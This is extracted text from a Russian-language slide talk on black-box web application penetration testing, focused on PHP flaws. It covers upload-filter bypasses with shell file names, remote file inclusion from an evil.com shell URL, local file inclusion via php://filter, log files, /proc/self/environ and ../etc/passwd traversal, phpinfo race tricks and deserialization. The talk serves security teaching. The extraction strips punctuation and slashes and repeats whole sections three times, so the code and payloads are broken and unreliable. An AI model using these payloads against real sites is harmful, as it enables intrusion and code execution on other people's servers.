bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
